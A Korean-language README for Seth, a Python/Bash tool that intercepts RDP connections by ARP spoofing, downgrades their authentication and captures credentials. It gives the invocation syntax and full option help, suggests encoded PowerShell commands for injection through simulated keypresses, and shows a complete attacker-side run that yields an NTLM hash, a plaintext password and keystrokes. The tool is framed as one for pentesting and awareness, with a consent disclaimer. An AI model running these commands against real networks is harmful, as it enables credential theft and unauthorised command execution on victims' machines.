
MitM 공격을 수행하고 RDP 연결에서 평문 자격 증명을 추출합니다.
Seth은 RDP 연결을 중간자 공격(MitM)하여 연결을 다운그레이드함으로써 평문 자격 증명을 추출하기 위해 Python과 Bash로 작성된 도구입니다. 이 도구는 침투 테스트, 워크숍 또는 발표 맥락에서 적절히 구성된 RDP 연결의 중요성에 대한 인식을 높이고 교육하기 위해 개발되었습니다. 저자는 Adrian Vollmer(SySS GmbH)입니다.
다음과 같이 실행하세요:
$ ./seth.sh <인터페이스> <공격자 IP> <희생자 IP> <게이트웨이 IP|호스트 IP> [<명령어>]
RDP 호스트가 희생자 머신과 같은 서브넷에 있지 않은 한, 마지막 IP 주소는 게이트웨이의 IP여야 합니다.
마지막 파라미터는 선택 사항입니다. 키 입력 이벤트 주입을 통해 WIN+R을 시뮬레이션하여 RDP 호스트에서 실행할 명령어를 포함할 수 있습니다. 키 입력 주입은 희생자가 사용하는 키보드 레이아웃에 따라 달라집니다. 현재는 영어 미국 레이아웃에서만 신뢰할 수 있습니다. powershell -enc <STRING>을 사용하여 특수 문자를 피하는 것이 좋습니다. 여기서 STRING은 UTF-16le 및 Base64로 인코딩된 명령어입니다. 하지만 calc는 상당히 보편적이며 작업을 수행합니다.
셸 스크립트는 ARP 스푸핑을 수행하여 중간자(MitM) 위치를 확보하고 트래픽을 RDP 프록시를 통과하도록 리디렉션합니다. 프록시는 별도로 호출할 수 있습니다. 이는 Seth를 Responder와 함께 사용하려는 경우 유용할 수 있습니다. Responder를 사용하여 중간자 위치를 확보하고 동시에 Seth를 실행하세요. seth.py -h를 실행하여 자세한 정보를 확인하세요:
usage: seth.py [-h] [-d] [-f] [-p LISTEN_PORT] [-b BIND_IP] [-g {0,1,3,11}]
[-j INJECT] -c CERTFILE -k KEYFILE
target_host [target_port]
RDP credential sniffer -- Adrian Vollmer, SySS GmbH 2017
positional arguments:
target_host target host of the RDP service
target_port TCP port of the target RDP service (default 3389)
optional arguments:
-h, --help show this help message and exit
-d, --debug show debug information
-f, --fake-server perform a 'fake server' attack
-p LISTEN_PORT, --listen-port LISTEN_PORT
TCP port to listen on (default 3389)
-b BIND_IP, --bind-ip BIND_IP
IP address to bind the fake service to (default all)
-g {0,1,3,11}, --downgrade {0,1,3,11}
downgrade the authentication protocol to this (default
3)
-j INJECT, --inject INJECT
command to execute via key press event injection
-c CERTFILE, --certfile CERTFILE
path to the certificate file
-k KEYFILE, --keyfile KEYFILE
path to the key file
자세한 내용은 doc/paper의 PDF를 읽거나 코드를 읽어보세요. 논문에는 대응 방법에 대한 권장 사항도 포함되어 있습니다.
20분 분량의 발표 영상(데모 포함, 14:00부터)을 YouTube에서 시청할 수도 있습니다: https://www.youtube.com/watch?v=wdPkY7gykf4
또는 데모만 (자막 포함) 여기서 시청하세요: https://www.youtube.com/watch?v=JvvxTNrKV-s
다음 출력은 공격자의 관점을 보여줍니다. Seth는 오프라인에서 크랙 가능한 해시와 평문 비밀번호를 모두 스니핑합니다. 여기서는 NLA가 강제되지 않았으며 희생자가 인증서 경고를 무시했습니다.

# ./seth.sh eth1 192.168.57.{103,2,102}
███████╗███████╗████████╗██╗ ██╗
██╔════╝██╔════╝╚══██╔══╝██║ ██║ by Adrian Vollmer
███████╗█████╗ ██║ ███████║ [email protected]
╚════██║██╔══╝ ██║ ██╔══██║ SySS GmbH, 2017
███████║███████╗ ██║ ██║ ██║ https://www.syss.de
╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝
[*] Spoofing arp replies...
[*] Turning on IP forwarding...
[*] Set iptables rules for SYN packets...
[*] Waiting for a SYN packet to the original destination...
[+] Got it! Original destination is 192.168.57.102
[*] Clone the x509 certificate of the original destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
Listening for new connection
Connection received from 192.168.57.103:50431
Downgrading authentication options from 11 to 3
Enable SSL
alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000
Tamper with NTLM response
TLS alert access denied, Downgrading CredSSP
Connection lost
Connection received from 192.168.57.103:50409
Listening for new connection
Enable SSL
Connection lost
Connection received from 192.168.57.103:50410
Listening for new connection
Enable SSL
Hiding forged protocol request from client
.\alice:ilovebob
Keyboard Layout: 0x409 (English_United_States)
Key press: LShift
Key press: S
Key release: S
Key release: LShift
Key press: E
Key release: E
Key press: C
Key release: C
Key press: R
Key release: R
Key press: E
Key release: E
Key press: T
Key release: T
Connection lost
[*] Cleaning up...
[*] Done.
python3
tcpdump
arpspoof
arpspoof는 dsniff에 포함되어 있습니다.
openssl
본인 책임 하에 사용하십시오. 관련된 모든 사람의 완전한 동의 없이 사용하지 마십시오. 교육 목적으로만 사용하십시오.